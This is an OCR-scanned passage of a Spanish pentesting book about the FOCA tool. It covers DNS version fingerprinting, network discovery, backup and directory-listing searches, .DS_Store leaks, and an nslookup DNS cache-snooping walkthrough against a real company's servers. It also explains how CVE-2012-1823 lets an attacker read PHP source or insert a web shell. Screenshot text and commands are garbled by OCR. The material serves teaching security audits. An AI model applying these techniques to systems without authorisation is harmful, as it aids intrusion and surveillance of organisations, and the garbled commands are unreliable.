version.bind text= "9.8.4 P1"

Imagen 03.28: Obtener version de BIND con nslookup.

Los usuarios de GNU/Linux pueden también utilizar el programa dig, tal y como se muestra en la
figura 03.29, en la que puede observarse como los administradores de los servidores DNS de RedHat
tienen un gran sentido del humor.

~$ dig @nsl.red hat.com v ersion.bind chaos txt
;: QUESTION SECTION:

sversionbind. CH XT
:: ANSWER SECTION:
version.bind. 0 CH TXT #1.523.623"

Imagen 03.29: Obtener version de BIND con dig.
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Configuracion de opciones de fingerprinting

Todas estas técnicas de fingerprinting y reconocimiento de tecnologias pueden personalizarse
desde el ment OPTIONS de FOCA, tal y como se muestra en la imagen 03.28, en las pestafias
Fingerprinting y Technology, respectivamente.

sou Proxy search i é Exploting con Prosgy eeasch | ‘ Esploting

. Metadats | & O Meadta | b
& Fingerprinting | &% Technology | & Firgeprinting 3 Technology
HTTP - e | Techrloges to be seaiched for
W Passive Fingssprinting on HTTP servess
i W ap v ol
| ™ HYTP Fingemsinting to all ssevers 1 asp 3 s
P e e i, v 33 v |omry
~FTP ~——— e W da Iy serviet
: o il php bl st
W FTP Fingerpeinting to all servers o nef @ ssie
W Bp o 8si
—SMTP o sl v usp
W Passive Fingerprinting on SMTP servers ¥ pl i s
™ SMTP Finpeeprinting to al servers :; gﬂ i arv
S R o v lasso
W Fingeeprinting an DNS Servers
o Selectal | @ Unseiect ol

Imagen 03.30: Opciones de configuracion de fingerprinting y reconocimiento de tecnologia.

Hay que tener presente que un analisis activo del fingerprinting de HTTP en todos los servidores
implicaria que cuando se descubra una nueva direccién /P o un nuevo Hostname, FOCA intentara
localizar un servidor web en ella, y hacer el reconocimiento de sofiware, lo que puede dar buenos
resultados pero incrementar en demasia el tiempo de ejecucion del proyecto.

Esto sucede de igual forma con el proceso de fingerprinting en todos los servidores de servicios
FTP o SMTP, donde realmente apareceran bastante pocos. Si se deja el fingerprinting pasivo, FOCA
realizard el analisis solo cuando se haya detectado previamente un servidor F7P o SMTP en esa
direccion /P.

Por otro lado, la parte relativa a Technology Recognition indica qué extensiones se buscarin de
forma explicita cuando se dé al boton de “Technology Recognition™ que hay en todos los servidores
detectados. Eso generara una busqueda de URLs que tengan esas extensiones, y ademas generaran
las peticiones H{7TP necesarias para generar los mensajes de error 404, 403 o 500 de cada una de las
tecnologias descubiertas.
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3.Vista de red y de roles

Para mostrar un poco de la potencia y la eficacia de las opciones descritas hasta el momento en este
presente capitulo incluidas en FOCA que se centran en las tareas de descubrimiento de red se va
a realizar un analisis rapido del dominio C/SCO.com simulando que se esta realizando un test de
intrusion a esta empresa como parte de una auditoria de seguridad, pero quitando cualquier opcion
que pudiera ser intrusiva, y dejando solo las opciones puramente OSINT que no afectan a ninguno
de los servicios de la compaiiia.

Como primer paso de un test de penetracion, una vez elegido el punto de ejecucion del test, que en
este caso se realizara simulando ser un usuario externo, es necesario localizar el maximo nimero
de posibles objetivos, es decir, todos los servidores y servicios (servidores web, de VPN, de correo,
de ficheros, DNS, etc.) que se encuentran accesibles desde el punto de ejecucion y recoger toda la
informacion disponible sobre cada uno de ellos.

Para ello, lo primero que hay que hacer es generar un proyecto nuevo y seleccionar varias opciones
como son:

» El nombre del proyecto: En este caso podriamos poner CISCO
* El nombre del dominio: En este caso sera CISCO.com
» El archivo del proyecto: Donde se guardara la informacion del proyecto

« Eldirectorio de trabajo: Sera una carpeta donde se almacenaran tanto los archivos descargados
en la parte de metadatos, como donde se creara la carpeta Certificates y se almacenaran los
certificados digitales descubiertos.

*  Opcion de autoguardado: Si se quiere ir guardando el proyecto cada cierto tiempo:

= Dominios alternativos: Por defecto solo se pintan los servidores y la informacion relativa
a CISCO.com, pero si se quisiera pintar y analizar informacion relativa a otro dominio, por
gjemplo CISCO.co.uk, se deberia dar de alta aqui manualmente esa lista. No hay problema,
porque esto se puede configurar mas adelante cuando aparezcan en Related Domains con una
opcion del menu contextual del boton derecho.

Una vez creado el proyecto, para llevar a cabo esta fase de reconocimiento de objetivos pueden
utilizarse las técnicas de descubrimiento de la red que FOCA incorpora, y que pueden personalizarse
desde la seccion Network del panel principal. Como es evidente, tal y como se ha comentado ya,
a la hora de realizar un test de intrusién es fundamental conseguir un conjunto de objetivos lo mas
grande posible, por lo que el auditor podria seleccionar todas las opciones disponibles: web Search,
DNS Search, zone transfer, dictionary Search, IP Bing, PTR scan y Shodan & Robtex.

Para lanzar el analisis, tan solo es necesario pulsar el botén Start de la seccidn Network. Pasado el
tiempo suficiente para que FOCA realice todas operaciones seleccionadas, el auditor puede consultar
los resultados obtenidos utilizando la vista de red, en la que se muestra, como puede observarse en la
imagen 03.31, que FOCA ha localizado 608 servidores para el dominio analizado.
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Imagen 03.31: Servidores y dominios localizados en el analisis de la red.

Los servidores aparecen organizados por redes y subredes, y es posible navegar por la estructura
para ver los detalles de cada servidor encontrado, de forma que el pentester pueda conocer como se
ha conseguido localizar cada equipo, las rutas y carpetas descubiertas en cada servidor o los usuarios
validos que han sido localizados para cada recurso, entre otra gran cantidad de informacion.

Para hacer lo menos intrusivo el proceso, se han deshabilitado las opciones de fingerprinting en
todas las partes de los servidores, por lo que no aparece ningin icono con referencia al software
corriendo en el servidor. Si se hubieran activado, podriamos ver iconos de Windows Server, Linux,
Apache o las diferentes distribuciones Linux descubiertas.

Para que al auditor le resulte mas sencillo organizar la informaciéon obtenida y plantear las siguientes
fases del test, FOCA también incorpora una vista por roles, en la que los servidores aparecen
organizados en funcion del rol que el programa ha inferido. En la figura 03.31 pueden observarse
los servidores DNS, Active Directory y los cortafuegos que FOCA ha descubierto para el dominio
analizado.
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Imagen 03.32: Vista por roles.

Ademas de todos los roles que han sido identificados por FOCA, el auditor puede detectar por
medio de otras herramientas, o haciendo inferencia un rol especifico para alguno de los servidores
descubiertos, y por ello la herramienta permite también asignar roles de forma manual simplemente
seleccionando el servidor y usando el menu contextual del botdn derecho.

Assign roles to 213.206.89.190

Unassigned roles

Mail
Http
Https
Ftp
Prosy
VPN
SSH

Imagen 03.33: Afiadir roles de forma manual.

En este caso concreto, toda la informacion que se ha mostrado de este proyecto se ha conseguido
sin descargar ni analizar ni un s6lo documento publico en Internet, es decir, todos los datos de los
servidores, dominios, subdominios y roles se han obtenido exclusivamente mediante las técnicas de
descubrimiento de la red descritas en este capitulo y sin utilizar los metadatos que pudiera haber

ocultos en los documentos.
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Sin embargo, en el caso de que se estuviera realizando un test de intrusion real, es evidente que
el auditor también trataria de localizar todos los documentos publicados en los sitios web de la
compaiiia y procederia a su descarga para analizar sus metadatos, tal y como se explicé en el capitulo
anterior, y usando la opcién “4nalize Metadata”, FOCA combinaria toda la informacion obtenida
mediante el analisis de metadatos y el analisis de red.

De esta forma el programa trataria de reconocer qué documentos han sido creados desde el mismo
equipo y qué servidores y clientes se pueden inferir de ellos, e intentaria obtener al mismo tiempo
informacién sobre las ACLs de la red, informacion que podria resultar fundamental en fases
posteriores para el éxito de la auditoria.

Conclusiones finales del Network Discovery

A pesar de que FOCA es una herramienta muy popular por sus funciones de andlisis centradas
puramente en los metadatos, como se ha visto, desde la version 2 de la herramienta la utilidad ha
cambiado su enfoque para poder ser mucho mas efectiva cuando de analizar un dominio completo
se trata.

La fase de analisis de metadatos es recomendable hacerla mas adelante y comenzar el proceso tal
y como se ve ahora, por el descubrimiento de red, para volver recursivamente a analizar todos los
documentos y sacar mas informacién aun.

En el siguiente capitulo vamos a ver las altimas opciones que se afiadieron a FOCA para encontrar
vulnerabilidades y hacer mucho mas sencillo el proceso de auditoria de seguridad a un analista, pero
también veremos en otro capitulo como utilizar la herramienta para sacar su maximo rendimiento en
diferentes entornos concretos de auditoria.
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Capitulo IV
Busqueda de vulnerabilidades

1. Tipos de vulnerabilidades analizadas por FOCA

A partir de la versién 3.x, FOCA incorpora una gran cantidad de funcionalidades para la bisqueda
automatica de vulnerabilidades en los servidores del dominio auditado con el objetivo de hacer més
facil la labor del auditor de seguridad.

A lo largo de este capitulo se van a estudiar los tipos de vulnerabilidades que FOCA es capaz
de descubrir en sistemas localizados, explicando como funciona cada técnica y mostrando las
consecuencias tras la explotacién de las mismas que pueden presentar los servidores vulnerables.

Backups

Una de las opciones primeras que se afiadio a FOCA es la busqueda de los backups de una parte o
del total de los ficheros de la web. Esto es algo muy comun en muchas auditorias de seguridad y
consiste en encontrarse que la copia de seguridad de un directorio ha sido creada directamente en el
servidor de ficheros del servidor web. Esto no deberia realizarse nunca, pero si damos con un fichero
que contenga toda la copia, entonces podremos descargar el codigo fuente y encontrar informacion
importante para la seguridad del sitio.

La idea que aprovecha esta vulnerabilidad utilizada en FOCA es que muchas veces, en un directorio
como HTTP://www.sever.com/carpetal/carpeta2, se produce una copia de seguridad de carpeta2
que se hace directamente desde carpetal.

Asi se puede encontrar un fichero que serd HTTP://www.server.com/carpetal/carpetal.zip o .1gz o
.rar, etcétera directamente publicado en el servidor. Esto se debe a que el administrador abusa de la
posibilidad de hacer una carpeta comprimida directamente con las opciones del ment contextual de
su explorador de archivos.

Para localizar las copias de seguridad de ficheros y carpetas, FOCA permite seleccionar las URLs
descubiertas, en donde se quiere inspeccionar en busca de copias de seguridad. La herramienta
genera todos los posibles ficheros de backup con el Fuzzer (probando extensiones como .zip, .tgz,
rar, .old, .bek, .1, etcétera).
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Como se puede ver en la imagen 04.01, FOCA buscara resultados que devuelvan codigos de servidor
200 y eliminara los codigos de respuesta que se indiquen en el panel de control separados por comas,
con el objetivo de reducir al maximo los falsos positivos. Aun asi, podria ser que se obtenga un
valor OK 200, pero realmente sea una pagina de tratamiento de errores generado. Hay que revisar
manualmente los resultados.

Para hacerse una idea del nimero de administradores que tienen esta mala praxis, se invita al lector
a realizar una bisqueda de ficheros .old, por ejemplo, en su buscador favorito usando el operador
ext:old.
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Imagen 04.01: Buscando ficheros de backup con HTTP Fuzzer.
Debido al alto consumo de tiempo y recursos, esta opcion de busqueda de backups en los servidores

web no esta activada por defecto, y debe ser lanzada de forma manual cuando se esta realizando una
revision concreta de un servidor web.

Hay que ir al nodo del servidor web, y acceder a la informacién de las URLs localizadas dentro de
ese servidor. Una vez alli, se podra utilizar la opcién desde el meni contextual que aparece con el
botén derecho con el titulo “Search Backups™ sobre una o varias URLs, dependiendo del nimero de
ellas que hayan sido seleccionadas previamente.

Cuando se ha seleccionado esa opcion, aparecera el panel de control que se ve en la imagen, las
URLs solicitadas en busca de diferentes backups y los resultados se veran en la pestafia de Resulls.
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Listado de directorios

El listado de directorios es una de las vulnerabilidades que, a pesar de poder no parecer demasiado
grave, son mas utilizadas y dan mejores resultados en un proceso de auditoria. El poder ver qué
archivos hay en una determinada carpeta permite acceder a algunos documentos que el administrador
del sitio web, o la propia aplicacion web, hayan podido dejar pensando que nadie va a acceder a ellos
porque no se conoce su nombre.

Si en un directorio de un servidor web se tienen almacenados una serie de archivos y el directorio
carece de un fichero que deba ser mostrado cuando un cliente solicita esa carpeta directamente, por
defecto muchos servidores web muestran un listado de los archivos guardados en el directorio.

& > € | © moil IR/ pipermail/

Index of /pipermail

& Parent Directory -
() express-users/  29-Oct-2010 1238 -
() framework-dev/  24-Nov-2009 0637 -
(2] framework mbox/ 09-Feb-2008 23:33 -
(1) framework/ 23-May-2012 1927 -
3 nexpose-users’  16-Jun-201100:01 -
) warvox/ 08-May-2009 2238 -

Imagen 04.02: Listado de directorios activo en un servidor webh.

Por defecto, los servidores Microsoft IIS tienen capado el listado de directorios en todas las carpetas,
pero en los servidores Apache depende mas del administrador, que debe configurar o bien un archivo
Index o bien que se prohiba directamente el acceso. En el caso de Apache se deberia configurar en el
archivo Attpd.conf una directiva con OPTIONS none que prohiba su listado de ficheros. Algo como
la siguiente configuracion para el directorio /:

- [Directory /]

- Order Deny, Allow
- Deny from all

- OPTIONS None

- [/Directory]

Para localizar estos directorios abiertos, como se puede ver en la Figura 04.03, en las opciones de
FOCA se puede personalizar la bisqueda de rutas que permiten listado de directorios, de forma que
usando el cardcter ‘|’ se pueden afiadir maltiples patrones para reconocer esta Vulnerabilidad. Por
defecto se buscan paginas con el contenido /ndex of / y paginas con el valor To Parent Directoyr</
a=><br=, pero se pueden personalizar con cualquier otro valor que aparezca en paginas de listados.
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Imagen 04.03: Personalizando la busqueda de rutas con listado de directorios.

Asi, si se estuviera tratando de localizar un servidor SharePoint con listado de directorios abierto,
podrian usarse algunos de los patrones, como “all site content”, de un diccionario especialmente
creado para esta tecnologia, llamado GeogleDiggity', que incluye 121 expresiones regulares que
permiten al usuario localizar ciertos recursos en sitios SharePoint como paginas administrativas,
servicios web, galerias de imagenes, etcétera, que los administradores han dejado accesibles por
error.

Busqueda de malware y BlackSEO con patrones de Directory Listing

La utilizacion de los patrones de busqueda se puede configurar no solo para localizar listados de
directorios abiertos, sino también para encontrar resultados concretos, como paginas con login,
sitios que han sido comprometidos por alguin tipo de malware o con campaiias de spam y BlackSEO
y que incluyen enlaces a otras web para subir su pagerank o sitios infectados por un determinado
codigo de un kit de explotacion, por ejemplo.

1 HTTP:/fwww.stachliu.com/dictionaries/SharePoint%20Google%20Queries%20-%201 SMAR2012.txt
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Supongamos que, tal y como le pasd a Apple en los afios 2010 y 2011, cuando algunos de sus
servidores fueron comprometidos y las paginas de ifunes servian scripts que distribuian malware y
un rogue AV, un pentester ha descubierto en una web un codigo Javascript ofuscado de un kit de
explotacion y quiere conocer en qué otros sitios del dominio objetivo se encuentra instalado ese
mismo kit. Utilizando las opciones de configuracion de FOCA podrian localizarse de forma sencilla
y rapida todos los servidores en los que se encuentre el patrén buscado.

0, tal y como le ocurrio al Teatro Real espafiol en el afio 2009, cuyos servidores web habian sido
comprometidos aprovechando una inyeccion de SOL y se habian incrustado miles de enlaces a
paginas de todo tipo, incluyendo la venta de viagra, que no eran mostradas al visualizar la pagina web
(va que aparecian en el codigo con un estilo no imprimible) pero que si aparecian en los resultados
de busqueda de Google o Bing, por lo que se estaban utilizando para aumentar el pagerank de los
sitios enlazados.

De nuevo, personalizando el patréon de blsqueda de FOCA resultaria muy sencillo encontrar
servidores comprometidos en el dominio analizado que contengan este tipo de enlaces a sitios no
deseados.

DNS Cache Snooping

Otra de las vulnerabilidades que busca FOCA es la de servidores DNS que tienen configurado un
sistema de Caché, lo que puede ser una fuga de informacién muy importante para una organizacion.
Cada vez que un usuario quiere resolver un nombre de dominio, €ste pregunta al servidor DNS que
tiene configurado. Si el servidor tiene activada la Caché, entonces, antes de solicitar la resolucion
por medio de un sistema de consultas recursivas, mira primero si tiene una resolucion no caducada
de ese nombre en su Caché.

- Sitiene la resolucion en la Caché, sirve esa respuesta.

- Si no la tiene, entonces comienza el sistema de resolucion DNS recursiva y, una vez
resuelto, almacena en la Caché el resultado.

Conociendo este funcionamiento, si alguien quiere saber si se ha resuelto previamente un determinado
dominio, basta con configurar las consultas al servidor DNS anulando la resolucion recursiva. Es
decir, el servidor DNS respondera consultando tan solo su Caché. Si ese nombre se ha pedido en
un tiempo reciente se obtendra la resolucién, mientras que si no se ha solicitado se obtendra una
respuesta negativa de resolucion,

Para comprender mejor el funcionamiento de esta técnica se va a mostrar un ejemplo realizado de
forma manual paso a paso usando tan solo la herramienta nslookup que permite hacer consultas a
servidores DNS y que existe tanto en los sistemas Microsofi Windows, como *NIX* como en los
Mac OS X. En este ejemplo, se va a usar para tratar de obtener informacion de los sitios visitados
por los usuarios del servidor de nombres de una organizacion que tiene activada la Caché de DNS
en sus servidores.
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En este ejemplo como primer hito hemos de localizar los servidores DNS de la organizacion. Para
ello, el primer paso consiste en modificar el tipo de registros de la consulta que vamos a lanzar
a nuestro servidor DNS con el comando set type=ns. Esto nos permite realizar una peticién para
cualquier dominio, con el objetivo de obtener la lista de todos los servidores de nombres autorizados
para este dominio.

>nslookup

> set type=ns

> renfe.com

Non-authortatve answer:

renfe com nameserver = dnsl renfe es.
renfe com nameszerver = dns2 renfe es.
renfe com nameserver =nsl renfe es.
renfe com nameserver = ns2 renfe es.

Authorntative answers can be found from:
nsl renfe es mtemet address=213.144 33 254
dnsl renfe es mtemet address =213.144 49335

Imagen 04.04: Localizando los servidores de nombres de renfe.

A continuacion se debe indicar a la herramienta que a partir de este momento se quiere que las
consultas se realicen envidndolas al servidor DNS de la organizacion, utilizando para ello la orden
server nsl.renfe.es.

Una vez conectados al servidor de la organizacion, es momento de ver si tiene activada la caché o no
en sus servicios DNS, para lo que se modifica de nuevo el tipo de registros consultados (set fype=a)
para que nos devuelva las direcciones /P asociadas a los nombres y se indica al servidor que las
consultas se resuelvan de forma no recursiva (set norecurse) para que tan solo consulte su Caché y
no pregunte de forma recursiva a otros servidores DNS.

= server nsL.renfe.com
Defanlt server: ns1.renfe com
Address: 213.144.33 254%53
> set type=a

= set norecurse

Imagen 04.05: Estableciendo la busqueda como no recursiva.
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A partir de ese momento, como el servidor de nombres solamente consultard su memoria Caché y no
realizara consultas recursivas, tan sélo podra resolver aquellos registros que hayan sido consultados
previamente por otros usuarios del mismo servidor DNS.

Como puede verse en la siguiente imagen, cuando se solicita una direccion que habia sido pedida
previamente por alguno de los clientes de este servidor DNS, se obtiene la direccion /P. En este
caso la direccién de www.elpais.com. Sin embargo, cuando se realiza una peticion de resolucion de
un registro del que no hay informacion en la Caché, el servidor DNS contesta con la direccion del
servidor DNS al que habria que preguntar para obtener dicho valor. Eso quiere decir que, en este
caso, ningun cliente habia pedido la resolucion de www.elladodelmal.com

= www.elpais.com

Server: ns1 renfe com
Address: 213.144 33 254#53

Non-authoritative answer:

www.elpais. com canonical name = elpais es edgesuite net.

elpais es edgesuite net canonical name = al 749 g akama net
> www.elladodelmal.com

Server: ns 1 renfe com
Address: 213.144 33 254#53

Non-authonitative answer:
*##% Can't find www. elladodebmal com: No answer

Imagen 04.06: DNS Caché Snooping en el DNS de Renfe.

FOCA incorpora dos medidas concretas para las técnicas de DNS Cache Snooping. La primera
de ellas es un sistema de deteccion de la Caché activa en los servidores DNS por medio de una
sencilla prueba. Para todos los servidores DNS, FOCA configura las consultas como no recurse y
pide resolver la direccion /P de www.Google.com porque es ¢l que mas probabilidades tiene de estar
cacheado. No obstante, si se quiere cambiar esta prueba, en las opciones de FOCA, dentro de la
configuracion de DNS Cache Snooping se permite cambiar el registro a utilizar para esta deteccion.

La segunda medida es una herramienta que permite explotar la consulta de registros en la Caché de
un servidor DNS de forma automatica. Para ello, se localizan los servidores de nombres del dominio
deseado en los que se encuentra activada la Caché y se carga un fichero con la lista de dominios que
se quieren monitorizar.

A continuacion se selecciona el servidor DNS a consultar y se lanza el ataque, de forma que los
dominios del diccionario que han sido visitados se mostraran en la ventana de Caché. Y para evitar
problemas por la caducidad de la Caché, FOCA permite la opcion de monitorizar en tiempo real con
actualizaciones constantes.
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Domain  renfe es

File

Host

Defaut —————— - e e A R e e i TR RS T e P
www facebook com
facebook com
twitter com
update microsoft.com
www periodistadigital com
elladodelmal blegspot com
megaupload com

Host First Last
Defauh: ———— - - wian Bttt C— —. i ——

www facebook com 15:55 15:55
facebook .com 15:55 15:55
twitter. com 15:55 1o
update microsaft. com 1555 15:55
www periodistadigital.com 15:55 15:55
elladodelmal blogspot com 15:55 15:55
www informaticab4 com 15:55 15:55
megaupload com 15:55 15:55

| Monitorice each 60 seconds
Imagen 04.07: DNS Caché Snooping con FOCA.

Escenarios de ataque aprovechando DNS Cache Snooping

Aunque parezca un pequeiio /eak de informacion, existen escenarios para vulnerar la seguridad de
una organizacion por medio de estas técnicas. A continuacion va una lista de posibles escenarios de
ataques, algunos de ellos se explicaran en detalle mas adelante.

- Es posible conocer el sofiware utilizado en los equipos internos de una organizacion. Por
tanto, se podria descubrir, por ejemplo, si se estan utilizando equipos con sistemas Microsoft
Windows, al conectarse a Windows Update, o si se usa una determinada aplicacion como
Gtalk, o software mucho mds concreto.

- Podria utilizarse también para detectar sofhware vulnerable a determinados ataques, como
por ejemplo a un ataque de Evilgrade para inyectar actualizaciones falsas, tal y como se
explica en el capitulo 5.
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- Se podria conocer la marca concreta de antivirus que esta siendo utilizado en los sistemas
informaticos de la organizacion mediante la consulta de los dominios que utiliza cada uno de
ellos para actualizar la base de datos de firmas. Esto permitiria que un atacante tuviera toda la
informacion necesaria para poder crear un malware que, en el momento en que se ejecutase
dentro de la red, no fuera detectado, ya que se puede saltar un determinado antimalware
creando una muestra especialmente creada para ¢€l.

- Esto podria servir, por ejemplo, para detectar si existen versiones de sofiware no
licenciado para una empresa que estan siendo utilizadas dentro de la red, lo que podria llevar
a un fabricante de soffware a pedir una auditoria de licencias.

- Por tltimo, por citar solo algunos de los entornos en que se podrian utilizar estas
técnicas, hay que hablar de los Wareting Hole Attacks. Es decir, si conocemos sitios visitados
habitualmente por miembros de la organizacion, se podria atacar un sitio web legitimo que
sea visitado habitualmente con un exploir disefiado para aprovechar las vulnerabilidades de
los navegadores descubiertos que vengan desde la organizacion, de forma que, al visitar
esta web modificada, los equipos de los clientes fueran comprometidos con un malware
especialmente creado para no ser detectado por el sistema antimalware usado en la empresa.

Esta técnica podria haber sido utilizada por los atacantes chinos que lograron comprometer los
servidores del New York Times durante el mes de enero de 2013. Segun la version del propio diario,
el ataque coincidio en el tiempo con la publicacion de un reportaje sobre los multimillonarios
beneficios que familiares del primer ministro chino habrian estado obteniendo.

De acuerdo con esta misma version, los atacantes habrian conseguido instalar 45 piezas de malware
en diferentes equipos, a pesar de que el periodico cuenta con una solucion de antivirus de la compaiiia
Symantec. Sin embargo, parece que el malware instalado en sus ordenadores habia sido modificado
de manera que su antivirus no pudiera detectarlos, evadiendo asi esta proteccion, por lo que parece
que los atacantes conocian la solucion antimalware que el periddico estaba utilizando.

Como ultima resefia sobre las técnicas de DNS Cache Snooping, hay que decir que en un estudio
realizado sobre un servidor DNS de una gran compaiiia se pudieron obtener datos de inteligencia que
iban mas alla de lo esperado.

Analizando un servidor DNS con Caché activada durante un mes de tiempo con una base de datos de
cientos de dominios, se podia llegar a ver qué tendencia ideol6gica tenia el personal de la empresa
por el tipo de periddicos que consultaban. Se pudo llegar a detectar qué sitios eran visitados mas por
la mafiana, mas por la tarde, y mas por la noche, lo que hacia suponer qué tipo de personal estaba
trabajando a determinadas horas, ya que los cambios eran por conjuntos totalmente disjuntos de
dominios.

Al final, cualquier pequefia fuga de informacion, estudiada al detalle y cruzada con el resto de
informacién obtenida puede ser una fuente inacabable de posibilidades como lo es la Caché del
DNS.



m Pentesting con FOCA

Ficheros .DS_Store

FOCA también es capaz de localizar ficheros .DS _Store, unos archivos que son creados de forma
automatica cuando el sistema de archivos es manipulado desde un equipo con Mac OS X y que son
similares a los archivos Thumbs.db en sistemas Microsoft Windows.

Los ficheros .DS_Store son los encargados de almacenar los metadatos que indican cémo debe
ser abierto el directorio en el que esta contenido. Estos metadatos hacen referencia al tamaiio de
la ventana, modo de visualizacion, tamafio de los iconos, etcétera. Por este motivo resultan muy
interesantes para preparar una auditoria web, ya que pueden proporcionar informacién sobre los
nombres de los ficheros de determinado directorio y es posible descubrir ficheros de backup, de
configuracion o carpetas con informacion jugosa que pueda ayudar al pentester a encontrar un fallo
en el sitio web.

Como puede verse en la figura 04.08, es posible encontrar este tipo de ficheros en sitios tan
inesperados como las webs del FBI, aunque otros grandes como Google, o el propio Apple, también
han publicado estos archivos en sus sitios web. Para hacer este sencillo experimento se ha usado el
comando ext: que busca ficheros con una determinada extension, y poniendo DS _Store como tal.

Google  exos_swrostogor

= 14 resultados (0,18 segundos)
Q, Todo *»DS_Store - FBI
www.fbi.gov/about-us/history/ .ds_store
Imagenes Formato de archivo: Desconocido - Versitn en HTML
*Bud1*™™ 4™ date.|"ieupdate.isllocblob™* *** *@*¢ ‘@ ac
“ Videos *@"™EA™DSDB" o Lawrrereses .W
[ Noticias
I-Bud 1 mn&m .@Ocm 'ﬁ’c L '@.C e
@ Shopping www. foi. gov/about-us/historyimagesimages/letters/.DS_Store
Fomato de archivo: Desconocido - Versidn en HTML
Mas *Bud1***% ‘@'c ‘@' @ ‘@™ E%**DSDB™
¢ ‘e@c ‘@' ‘@
Buscar cerca de... .Bud 1 m%m :ﬂtcm tmﬁc .@:Q L
Ubicacién ! www.fbi.gov/about-us/history/history-theater/.ds_store
Formato de archivo: Desconocido - Versién en HTML
Establecer *Bud 1% @' -m m ‘@’"E%‘“Dsm“
C ac ‘@¢ ‘@
La Web ! .
Pigines en espafiol 1 “henry021711. **hen
Pnirias ds Esoah www. foi govinews/stories/2011/february/hci_takedown.. /.ds_store
ég?nas s?ana Formato de archivo: Desconocido - Versin en HTML
Péginas extranjeras 17 Feb 2011 — *Bud{*"******y02171**henry021711.jpgdilctlob * 1 5 *henry021711a.
traducidas jpgdilcblob * 4 5 *henry021711b.jpgdilcblob ...
Mas hemramientas *Bud1*% *@C "@Cc *@C ...
wwew.fbi.govifun-games/kids/kids_day_videos/.ds_store
Formato de archivo: Desconocido - Versién en HTML
*Bud1*™*% '@", '@'{, .@W“ '@'"E%”BSDB"

% ‘av ‘@c ‘@
Imagen 04.08: Ficheros .DS_Store en sitios web .gov.
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Para poder visualizar el contenido de este tipo de archivos es necesario convertir el fichero de UTF-
16 a UTF-8, ya que los nombres de los archivos se almacenan en U7F-16. Tras esta conversion se
puede utilizar el comando string, que busca cadenas de texto imprimibles en ficheros binarios, para
extraer los nombres de ficheros que contenga, tal y como se muestra en la imagen 04.09. En ese
ejemplo se puede ver como ha aparecido un fichero con extension .fla que contiene el codigo fuente
de un programa escrito en Adobe Flash.

MacBook-4ir-de-Chema:Downloads Chema$ iconv -f UTF-16 to UTF-8 D5_Store |strings
icony: to: Mo such file or directory
icony: UTF-8: No such file or directory
contactos

contactos

contactos

galeria

galeria

galeria

home_eng himl

libro

newsletter

principal

principal.fla

principal.fla

principal.swf

refs

refs

-
Imagen 04.09: Contenido de un fichero .DS_Store.

Para no tener que realizar la conversion de formato y la extraccion de strings de forma manual,
se pueden utilizar herramientas que automatizan el proceso y que permiten incluir en un scripf el
analisis de estos archivos. File Disclosure Browser® es una aplicacion escrita en Perl que, dado un
fichero .DS Store y una Url base, genera URLs a todos los ficheros que aparecen internamente en
el archivo.

De hecho, como conjunto de herramientas accesorias a FOCA, se ha portado esta herramienta
al lenguaje C# y a Java para que pueda ser utilizada conjuntamente con FOCA y se encuentra
disponible para descarga publica en el repositorio de SourceForge con el nombre de iDStore’.

Su uso es muy sencillo.Una vez que se haya localizado un fichero .DS Store en un determinado
servidor web, la herramienta realiza la extraccion de los strings del archivo, la construccion de las
URLs y las pide todas para ver si existen o no en el servidor web, ejecutando con la maquina virtual
de Java el programa DS _Store jar, al que se le debe pasar inicamente como parametro la Ur/ donde
se encuentra el fichero .DS Store:

- $java -cp . jar DS _Storejar HTTP://www.server.com/ruta/.DS _Store > salida.txt

2 HTTP://www.digininja.org/projects/fdb.PHP
3 HTTP://sourceforge. NET/projects/idstore/files/
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Bug PHP CGI Code Execution

Otra de las vulnerabilidades que FOCA es capaz de encontrar de forma automatica en los servidores
localizados de un dominio que esta siendo analizado es un peligroso bug de PHP en modo CG/
que permite Code Execution, y que afecta a todas las instalaciones de PHP en modo CG/ hasta las
versiones 5.4.2 y 5.3.12. A dia de hoy ya no es demasiado comin encontrarlo en Internet - debido a
lo mucho que lo han explotado en el mundo del e-crime, pero todavia da muy buenos resultados en
servidores no publicados a Internet que una empresa tenga dentro de la red, asi que si se audita una
red interna, puede dar grandes resultados.

Este bug, identificado con el CVE-2012-1823, permite llamar directamente desde la Url a los
pardmetros del motor PHP, lo que provoca que se pueda ejecutar codigo remoto en cualquier
servidor que esté publicado a Internet con una instalacion vulnerable.

Con los parametros de llamada que pueden inyectarse en el motor de PHP instalado en un servidor
web se pueden hacer cosas bastante curiosas. Por ejemplo, podria utilizarse la opcion -s, que permite
ver el codigo fuente del codigo a ejecutarse para ver si existen datos sensibles en el programa,
con usuarios, contrasefias, conexiones a bases de datos, etcétera. De esta forma, incluyendo un
sencillo -s en la Url, el servidor web mostraria el todo el codigo del sitio PHP que se esta visitando,
accediendo a toda la informacion de configuracion que alli se encuentre.

Ademas, con el modificador -d es posible incidir en los parametros de ejecucion del motor PHP,
de forma que el atacante podria escribir su propio cédigo en el servidor, por ejemplo, para obtener
un phpinfo que muestre todas las variables del servidor. O, incluso, si el atacante deseara ejecutar
directamente una WebShell que le dé acceso a todo el sitio, se podria modificar la configuracion
directamente desde la Ur/ para insertarla remotamente, tal y como se muestra en la figura 04.10, en
la que se ha incluido una WebShell C99.

M AR (upeals whnbw DO
o 061 | peanne | oiuder |Jsneiel | seauences | decods | compaer | ootione

[
(raw | haaders | Tiee | wuml | ke |

ﬁ._.............. T — s on . o s ‘"Esam'iusml
Imagen 04.10: Servidor vulnerable al bug PHP CGI Code Execution.
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La historia que rodea a este bug es muy interesante y en el blog de los descubridores de la
Vulnerabilidad®, un equipo de hackers que participa habitualmente en competiciones de seguridad
informatica y Hacking, los famosas competiciones de CTF (Capture The Flag), puede encontrarse
informacion mas detallada de la evolucion de la misma.

En Enero de 2011, mientras el equipo Eindbazen participaba en el CTF de la NullCon, descubren esta
Vulnerabilidad y la aprovechan para modificar el marcador de la competicion, que estaba alojado en
los servidores de DreamHost.

Tras informar del bug a PHP comienzan a estudiar el origen de la Vulnerabilidad. El estindar CG/
permite que se envien desde el query string argumentos al ejecutable que se encargue de la ejecucion,
y Apache lo implementa.

En el afio 2004 el equipo de desarrollo de PHP ya conocia los problemas que esto podria acarrear
en entornos PHP y, por tanto, tomaron las medidas oportunas para evitar esta situacion. De hecho,
la documentacion dice que PHP, cuando se ejecute en modo CGI, ignorara esos argumentos. Sin
embargo, el equipo Eindbazen descubre un commit en el sistema de control de versiones de Apache
en el que, por error, se eliminaba el codigo de proteccion.

Mientras internamente en el equipo de desarrollo del proyecto PHP seguian preparando un
